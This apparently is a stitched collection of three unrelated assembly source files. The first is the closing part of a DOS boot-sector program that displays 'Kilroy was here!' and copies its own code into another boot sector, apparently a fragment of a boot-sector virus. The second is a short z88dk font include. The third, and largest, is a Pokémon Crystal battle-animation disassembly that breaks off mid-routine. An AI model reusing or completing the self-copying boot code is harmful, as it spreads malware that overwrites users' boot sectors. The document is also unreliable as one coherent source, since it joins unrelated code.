MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data
PUSH AX
MOV BX,700H ;set disk read buffer to 0000:0700
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
CALL CONVERT ;convert to bios Trk/Cyl/Sec info
MOV AL,1 ;read one sector
CALL READ_DISK ;go read the disk
SUB BP,1 ;subtract 1 from number of sectors to read
JZ DO_BOOT ;and quit if we're done
ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read
ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address
JMP RD_BOOT1 ;then go for another
;Ok, the first system file has been read in, now transfer control to it
DO_BOOT:
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
POP BX
; JMP FAR PTR LOAD ;use the nicer far jump if compiling with MASM or TASM
MOV AX,0070H ;A86 is too stupid to handle that,
PUSH AX ;so let's fool it with a far return
XOR AX,AX
PUSH AX
RETF
;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
;Save track number in DX, sector number in CH,
CONVERT:
XOR DX,DX
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
INC DL ;dl=sector number to start read on, al=track/head count
MOV CH,DL ;save it here
XOR DX,DX
DIV WORD PTR [HEADS] ;divide ax by head count
MOV BYTE PTR [HEAD],DL ;dl=head number, save it
MOV DX,AX ;ax=track number, save it in dx
RET
;Read the disk for the number of sectors in al, into the buffer es:bx, using
;the track number in DX, the head number at HEAD, and the sector
;number at CH.
READ_DISK:
MOV AH,2 ;read disk command
MOV CL,6 ;shift possible upper 2 bits of track number to
SHL DH,CL ;the high bits in dh
OR DH,CH ;and put sector number in the low 6 bits
MOV CX,DX
XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track
MOV DL,BYTE PTR [DRIVE] ;get drive number from here
MOV DH,BYTE PTR [HEAD] ;and head number from here
INT 13H ;go read the disk
ERROR3: JC ERROR3 ;hang in case of an error
RET
;Move data that doesn't change from this boot sector to the one read in at
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
;the data area at the beginning of the boot sector.
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC)
MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET
;Display the null terminated string at MESSAGE.
DISP_MSG:
MOV SI,OFFSET MESSAGE ;set offset of message up
DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH (Display Char)
LODSB ;get character to display
OR AL,AL
JZ DM2 ;repeat until 0
INT 10H ;display it
JMP SHORT DM1 ;and get another
DM2: RET
SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0
ORG 7DFDH
DRIVE: DB 0 ;Disk drive (A or C) for this sector
BOOT_ID: DW 0AA55H ;Boot sector ID word
MAIN ENDS
END START
|
libsrc/_DEVELOPMENT/font/fzx/fonts/utz/TinyTexan/_ff_utz_TinyTexanXS.asm | jpoikela/z88dk | 640 | 81734 |
SECTION rodata_font
SECTION rodata_font_fzx
PUBLIC _ff_utz_TinyTexanXS
_ff_utz_TinyTexanXS:
BINARY "font/fzx/fonts/utz/TinyTexan/tinytexanXS.fzx"
|
engine/battle_anims/functions.asm | Dev727/ancientplatinum | 28 | 178238 | DoBattleAnimFrame:
ld hl, BATTLEANIMSTRUCT_FUNCTION
add hl, bc
ld e, [hl]
ld d, 0
ld hl, .Jumptable
add hl, de
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
.Jumptable:
; entries correspond to BATTLEANIMFUNC_* constants
dw BattleAnimFunction_Null ; 00
dw BattleAnimFunction_01 ; 01
dw BattleAnimFunction_02 ; 02
dw BattleAnimFunction_03 ; 03
dw BattleAnimFunction_04 ; 04
dw BattleAnimFunction_ThrowFromPlayerToEnemy ; 05
dw BattleAnimFunction_ThrowFromPlayerToEnemyAndDisappear ; 06
dw BattleAnimFunction_07 ; 07
dw BattleAnimFunction_08 ; 08
dw BattleAnimFunction_09 ; 09
dw BattleAnimFunction_0A ; 0a
dw BattleAnimFunction_RazorLeaf ; 0b
dw BattleAnimFunction_0C ; 0c
dw BattleAnimFunction_0D ; 0d
dw BattleAnimFunction_0E ; 0e
dw BattleAnimFunction_0F ; 0f
dw BattleAnimFunction_10 ; 10
dw BattleAnimFunction_11 ; 11
dw BattleAnimFunction_PokeBall ; 12
dw BattleAnimFunction_PokeBallBlocked ; 13
dw BattleAnimFunction_14 ; 14
dw BattleAnimFunction_15 ; 15
dw BattleAnimFunction_16 ; 16
dw BattleAnimFunction_17 ; 17
dw BattleAnimFunction_18 ; 18
dw BattleAnimFunction_19 ; 19
dw BattleAnimFunction_1A ; 1a
dw BattleAnimFunction_1B ; 1b
dw BattleAnimFunction_1C ; 1c
dw BattleAnimFunction_1D ; 1d
dw BattleAnimFunction_1E ; 1e
dw BattleAnimFunction_1F ; 1f
dw BattleAnimFunction_LeechSeed ; 20
dw BattleAnimFunction_21 ; 21
dw BattleAnimFunction_22 ; 22
dw BattleAnimFunction_23 ; 23
dw BattleAnimFunction_24 ; 24
dw BattleAnimFunction_25 ; 25
dw BattleAnimFunction_26 ; 26
dw BattleAnimFunction_27 ; 27
dw BattleAnimFunction_28 ; 28
dw BattleAnimFunction_SpiralDescent ; 29
dw BattleAnimFunction_PoisonGas ; 2a
dw BattleAnimFunction_Horn ; 2b
dw BattleAnimFunction_2C ; 2c
dw BattleAnimFunction_2D ; 2d
dw BattleAnimFunction_2E ; 2e
dw BattleAnimFunction_2F ; 2f
dw BattleAnimFunction_30 ; 30
dw BattleAnimFunction_31 ; 31
dw BattleAnimFunction_32 ; 32
dw BattleAnimFunction_33 ; 33
dw BattleAnimFunction_34 ; 34
dw BattleAnimFunction_35 ; 35
dw BattleAnimFunction_36 ; 36
dw BattleAnimFunction_37 ; 37
dw BattleAnimFunction_38 ; 38
dw BattleAnimFunction_39 ; 39
dw BattleAnimFunction_3A ; 3a
dw BattleAnimFunction_3B ; 3b
dw BattleAnimFunction_3C ; 3c
dw BattleAnimFunction_3D ; 3d
dw BattleAnimFunction_3E ; 3e
dw BattleAnimFunction_3F ; 3f
dw BattleAnimFunction_40 ; 40
dw BattleAnimFunction_41 ; 41
dw BattleAnimFunction_42 ; 42
dw BattleAnimFunction_43 ; 43
dw BattleAnimFunction_44 ; 44
dw BattleAnimFunction_45 ; 45
dw BattleAnimFunction_46 ; 46
dw BattleAnimFunction_47 ; 47
dw BattleAnimFunction_48 ; 48
dw BattleAnimFunction_49 ; 49
dw BattleAnimFunction_4A ; 4a
dw BattleAnimFunction_4B ; 4b
dw BattleAnimFunction_4C ; 4c
dw BattleAnimFunction_4D ; 4d
dw BattleAnimFunction_4E ; 4e
dw BattleAnimFunction_4F ; 4f
BattleAnimFunction_Null:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
.one
call DeinitBattleAnimation
.zero
ret
BattleAnimFunction_ThrowFromPlayerToEnemyAndDisappear:
call BattleAnimFunction_ThrowFromPlayerToEnemy
ret c
call DeinitBattleAnimation
ret
BattleAnimFunction_ThrowFromPlayerToEnemy:
; If x coord at $88 or beyond, abort.
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $88
ret nc
; Move right 2 pixels
add $2
ld [hl], a
; Move down 1 pixel
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
; Decrease ??? and hold onto its previous value (argument of the sine function)
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec [hl]
; Get ???, which is the amplitude of the sine function
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld d, [hl]
call BattleAnim_Sine
; Store the result in the Y offset
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
; Carry flag denotes success
scf
ret
BattleAnimFunction_04:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $88
jr c, .asm_cd0b3
call DeinitBattleAnimation
ret
.asm_cd0b3
add $2
ld [hl], a
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
ld d, $10
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
sra a
sra a
sra a
sra a
ld [hl], a
ret
BattleAnimFunction_03:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
.zero
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
bit 7, [hl]
ld a, $0
jr z, .asm_cd0f9
ld a, $20
.asm_cd0f9
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $7f
ld [hl], a
.one
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld d, [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ret
BattleAnimFunction_01:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
.one
call DeinitBattleAnimation
ret
.zero
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $84
ret nc
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
call Functionce70a
ret
BattleAnimFunction_02:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $84
jr nc, .asm_cd158
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
call Functionce70a
ret
.asm_cd158
call DeinitBattleAnimation
ret
BattleAnimFunction_PokeBall:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw .three
dw .four
dw .five
dw .six
dw .seven
dw .eight
dw .nine
dw .ten
dw .eleven
.zero ; init
call GetBallAnimPal
call BattleAnim_IncAnonJumptableIndex
ret
.one
call BattleAnimFunction_ThrowFromPlayerToEnemy
ret c
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
add [hl]
ld [hl], a
ld a, BATTLEANIMFRAMESET_0B
call ReinitBattleAnimFrameset
call BattleAnim_IncAnonJumptableIndex
ret
.three
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_09
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $0
inc hl
ld [hl], $10
.four
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hli]
ld d, [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec a
ld [hl], a
and $1f
ret nz
ld [hl], a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
sub $4
ld [hl], a
ret nz
ld a, BATTLEANIMFRAMESET_0C
call ReinitBattleAnimFrameset
call BattleAnim_IncAnonJumptableIndex
ret
.six
ld a, BATTLEANIMFRAMESET_0D
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
dec [hl]
.two
.five
.nine
ret
.seven
call GetBallAnimPal
ld a, BATTLEANIMFRAMESET_0A
call ReinitBattleAnimFrameset
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], $20
.eight
.ten
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hli]
ld d, [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec a
ld [hl], a
and $1f
jr z, .eleven
and $f
ret nz
call BattleAnim_IncAnonJumptableIndex
ret
.eleven
call DeinitBattleAnimation
ret
BattleAnimFunction_PokeBallBlocked:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
.zero
call GetBallAnimPal
call BattleAnim_IncAnonJumptableIndex
ret
.one
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $70
jr nc, .next
call BattleAnimFunction_ThrowFromPlayerToEnemy
ret
.next
call BattleAnim_IncAnonJumptableIndex
.two
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
cp $80
jr nc, .done
add $4
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
dec [hl]
dec [hl]
ret
.done
call DeinitBattleAnimation
ret
GetBallAnimPal:
ld hl, BallColors
ldh a, [rSVBK]
push af
ld a, BANK(wCurItem)
ldh [rSVBK], a
ld a, [wCurItem]
ld e, a
pop af
ldh [rSVBK], a
.IsInArray:
ld a, [hli]
cp -1
jr z, .load
cp e
jr z, .load
inc hl
jr .IsInArray
.load
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_PALETTE
add hl, bc
ld [hl], a
ret
INCLUDE "data/battle_anims/ball_colors.asm"
BattleAnimFunction_10:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw .three
dw .four
.zero
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
swap a
and $f
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], a
ret
.one
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $88
ret nc
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
call Functionce70a
ret
.two
call DeinitBattleAnimation
ret
.three
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_0F
call ReinitBattleAnimFrameset
.four
ret
BattleAnimFunction_07:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
.zero
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $30
inc hl
ld [hl], $48
.one
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hli]
ld d, [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ld a, [hl]
and $3f
ret nz
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $20
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
sub [hl]
jr z, .done
jr c, .done
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], a
ret
.done
call DeinitBattleAnimation
ret
BattleAnimFunction_08:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw .three
.zero
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $80
jr nc, .next
call .SetCoords
ret
.next
call BattleAnim_IncAnonJumptableIndex
.one
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $0
.two
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
cp $40
jr nc, .loop_back
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $18
call BattleAnim_Cosine
sub $18
sra a
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $18
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
add [hl]
ld [hl], a
ret
.loop_back
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f0
jr z, .finish
sub $10
ld d, a
ld a, [hl]
and $f
or d
ld [hl], a
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
dec [hl]
ret
.finish
call BattleAnim_IncAnonJumptableIndex
.three
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $b0
jr c, .retain
call DeinitBattleAnimation
ret
.retain
call .SetCoords
ret
.SetCoords:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
add [hl]
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f
ld e, a
srl e
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
.loop
dec [hl]
dec e
jr nz, .loop
ret
BattleAnimFunction_09:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
.zero
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $0
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
.one
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and a
jr z, .done_one
dec [hl]
ret
.done_one
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
swap a
and $f
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld a, [hl]
xor $ff
inc a
ld [hl], a
ret
.two
call DeinitBattleAnimation
ret
BattleAnimFunction_0A:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw .three
dw .four
dw .five
dw .six
dw .seven
dw .eight
dw .nine
.zero
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], a
cp $7
jr z, .seven
ld a, BATTLEANIMFRAMESET_11
call ReinitBattleAnimFrameset
ret
.seven
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $88
jr nc, .set_up_eight
add $2
ld [hl], a
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
ret
.set_up_eight
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_10
call ReinitBattleAnimFrameset
.eight
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $10
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ret
.nine
call DeinitBattleAnimation
ret
.one
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
dec [hl]
ret
.four
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
inc [hl]
.two
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
dec [hl]
ret
.five
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
inc [hl]
.three
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
inc [hl]
.six
ret
BattleAnimFunction_RazorLeaf:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw .three
dw .four
dw .five
dw .six
dw .seven
dw .eight
.zero
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $40
.one
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
cp $30
jr nc, .sine_cosine
call BattleAnim_IncAnonJumptableIndex
xor a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hli], a
ld [hl], a
ld a, BATTLEANIMFRAMESET_17
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
bit 6, [hl]
ret z
ld hl, BATTLEANIMSTRUCT_FRAME
add hl, bc
ld [hl], $5
ret
.sine_cosine
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $3f
ld d, a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
call Functioncd557
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld h, [hl]
ld l, a
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], e
ret
.two
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $20
jr nz, .sine_cosine_2
call DeinitBattleAnimation
ret
.sine_cosine_2
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $10
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
bit 6, [hl]
jr nz, .decrease
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
jr .finish
.decrease
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
dec [hl]
.finish
ld de, $80
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld h, [hl]
ld l, a
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], e
ret
.three
ld a, BATTLEANIMFRAMESET_16
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_01
add hl, bc
res 5, [hl]
.four
.five
.six
.seven
call BattleAnim_IncAnonJumptableIndex
ret
.eight
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $c0
ret nc
ld a, $8
call Functionce70a
ret
Functioncd557:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
bit 7, a
jr nz, .negative
cp $20
jr nc, .plus_256
cp $18
jr nc, .plus_384
ld de, $200
ret
.plus_384
ld de, $180
ret
.plus_256
ld de, $100
ret
.negative
and $3f
cp $20
jr nc, .minus_256
cp $18
jr nc, .minus_384
ld de, -$200
ret
.minus_384
ld de, -$180
ret
.minus_256
ld de, -$100
ret
BattleAnimFunction_4E:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
.zero
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $40
rlca
rlca
add $19
ld hl, BATTLEANIMSTRUCT_FRAMESET_ID
add hl, bc
ld [hl], a
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $40
.one
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
cp $30
jr nc, .sine_cosine
call DeinitBattleAnimation
ret
.sine_cosine
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $3f
ld d, a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
call Functioncd557
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld h, [hl]
ld l, a
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], e
ret
BattleAnimFunction_0C:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
.zero
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $c
.one
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and a
jr z, .next
dec [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
call Functionce70a
ret
.next
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $0
ld a, BATTLEANIMFRAMESET_22
call ReinitBattleAnimFrameset
.two
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $98
jr nc, .okay
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld h, [hl]
ld l, a
ld de, $60
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], e
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld [hl], d
.okay
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
cp $20
ret c
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f0
ld e, a
ld d, $ff
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld h, [hl]
ld l, a
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], e
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld [hl], d
ret
BattleAnimFunction_0D:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw .three
dw .four
.zero
call BattleAnim_IncAnonJumptableIndex
ld a, LOW(rSCY)
ldh [hLCDCPointer], a
ld a, $58
ldh [hLYOverrideStart], a
ld a, $5e
ldh [hLYOverrideEnd], a
ret
.one
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld e, [hl]
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
cp e
jr nc, .asm_cd69b
call BattleAnim_IncAnonJumptableIndex
xor a
ldh [hLYOverrideStart], a
ret
.asm_cd69b
dec a
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $10
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
add [hl]
sub $10
ret c
ldh [hLYOverrideStart], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld a, [hl]
inc a
and $7
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
inc [hl]
.two
ret
.three
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
cp $70
jr c, asm_cd6da
xor a
ldh [hLCDCPointer], a
ldh [hLYOverrideStart], a
ldh [hLYOverrideEnd], a
.four
call DeinitBattleAnimation
ret
asm_cd6da:
inc a
inc a
ld [hl], a
sub $10
ret c
ldh [hLYOverrideStart], a
ret
BattleAnimFunction_0E:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd6ea
dw Functioncd6f7
Functioncd6ea:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, BATTLEANIMFRAMESET_24
add [hl] ; BATTLEANIMFRAMESET_25 BATTLEANIMFRAMESET_26
call ReinitBattleAnimFrameset
Functioncd6f7:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $b8
jr c, .asm_cd704
call DeinitBattleAnimation
ret
.asm_cd704
ld a, $2
call Functionce70a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec [hl]
ld d, $8
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ret
BattleAnimFunction_0F:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd725
dw Functioncd728
dw Functioncd763
dw Functioncd776
Functioncd725:
call BattleAnim_IncAnonJumptableIndex
Functioncd728:
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
cp $30
jr c, .asm_cd747
ld a, $2
call Functionce70a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec [hl]
ld d, $8
call BattleAnim_Sine
